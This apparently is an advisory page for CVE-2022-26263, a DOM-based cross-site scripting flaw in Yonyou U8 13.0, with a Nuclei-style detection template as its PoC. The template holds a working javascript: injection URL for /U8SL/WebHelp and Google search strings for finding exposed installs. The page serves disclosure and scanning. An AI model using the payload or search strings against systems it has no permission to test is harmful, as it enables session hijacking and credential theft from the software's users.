CVE-2022-26263: Yonyou U8 13.0 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Yonyou U8 13.0 | POC: 已公开

漏洞描述

Yonyou U8 13.0 contains a DOM-based cross-site scripting vulnerability via the component /u8sl/WebHelp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC代码[已公开]

id: CVE-2022-26263

info:
  name: Yonyou U8 13.0 - Cross-Site Scripting
  author: edoardottt,theamanrawat
  severity: medium
  description: |
    Yonyou U8 13.0 contains a DOM-based cross-site scripting vulnerability via the component /u8sl/WebHelp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Yonyou U8 13.0 application.
  reference:
    - https://github.com/s7safe/CVE/blob/main/CVE-2022-26263.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26263
    - http://yonyou.com
    - https://www.yonyou.com/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-26263
    cwe-id: CWE-79
    epss-score: 0.17268
    epss-percentile: 0.948
    cpe: cpe:2.3:a:yonyou:u8\+:13.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: yonyou
    product: u8\+
    google-query:
      - inurl:/u8sl/WebHelp
      - inurl:/u8sl/webhelp
  tags: cve,cve2022,yonyou,xss,headless
headless:
  - steps:
      - args:
          url: '{{BaseURL}}/U8SL/WebHelp/PB_Por_zh-CN.htm?wvstest=javascript:domxssExecutionSink(1,"%27"><xsstag>()locxss")#javascript:console.log(document.domain)'
        action: navigate

      - action: waitload
    matchers:
      - type: word
        words:
          - '<frame src="javascript:console.log(document.domain)"'
          - 'webhelp4.js'
        condition: and
# digest: 4a0a0047304502210087bfc4f4fa9f62d50e0048f80254f32a7d2f7fbd0f497237fcb2972b3fbc61b402207111f2f6314c3702e2d23efc4fdd77c04abacbd9ac705e97d6b5f47fca148823:922c64590222798bb761d5b6d8e72950